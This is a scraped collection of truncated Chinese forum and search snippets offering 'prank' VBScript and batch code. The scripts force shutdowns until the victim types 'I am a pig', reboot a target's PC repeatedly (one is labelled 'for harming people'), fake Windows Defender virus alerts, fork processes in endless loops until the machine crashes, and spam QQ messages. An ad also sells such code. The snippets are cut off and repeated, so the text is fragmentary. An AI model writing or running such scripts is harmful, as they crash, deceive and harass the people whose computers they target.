骗别人踩你qq空间的代码set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输?","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbo...
整人代码大全 让对方重启指定次数(害人专用) @echo off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1s if not exist c:4.txt echo. >c:4.txt & goto err1 if not exis...
代码如下 X=msgbox("文件路径未知,准备扫描此电脑",4+32,"Windows Defender") X=msgbox("扫描中...",2+64,"Windows Defender") X=msgbox("发现病毒,是否清除?",4+48,"Windows Defender") X=msgbox("Windows Defender无法清除此病毒",1+16,"Windows Defender") X=msgbox("无法中止病毒进程",0+48,"Sys...
【整人编程】愚人节快..这里出售一些初级的整人代码 有兴趣的+Q2528319605不停跳窗口的5WJ 【就是那种 人家关了窗口 还会不停跳出来的不停的跳黑窗口10WJ【就是那种 关不关都会一直跳的
1，抖动页面 在线效果演示：张苹果博客 模拟页面抖动的动画效果。3秒后停止。functionshake(){varshake...
整人代码大全 让对方重启指定次数(害人专用)@echo off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1s if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist...
『女生』教大家一些整..这个是QQ骚扰信息,也可以用在其它程序上。把代码里的xx替换成你好友的昵称,代码中的10是发送的次数,可以修改为任何值.把上面代码复制保存到记事本文件中,更改.txt后缀为.bat;
发个特整人的东西复制代码代码如下: set s.createobject("wscript.shell") lsfile=wscript.scriptfullname '获得自己的名称 do '死循环 s.run lsfile '自己运行自己 s.run "notepad" '运行记事本 loop '几秒就死机,哈 来个绿色的,无毒无害的:复制代码代码如下: dim a set a=createobject("sapi.spvoice...
网上有很多的整人vbe,但是很多都是有问题的(原因是都是复制粘贴的),比如今天又吧友发的整人的vbe有不少是错的。现在给吧友发几个。直接复制粘贴到记事本,然后另存为.vbe即可 千若语轩 查错排障 14 dim wshset wsh=createobject("wscript.shell")dowsh.run "calc"loopN个计算器,直到电脑死机 千若语轩 ...
整人代码大全 让对方重启指定次数(害人专用)@echo off if not exist c：1.txt echo。〉c：1。txt & goto err1 if not exist c：2.txt echo.〉c：2.txt & goto err1 if not exist c：3。txt echo.〉c：3.txt＆goto err1s if not exist c:4。txt echo。>c：4.txt & goto err1 if not ...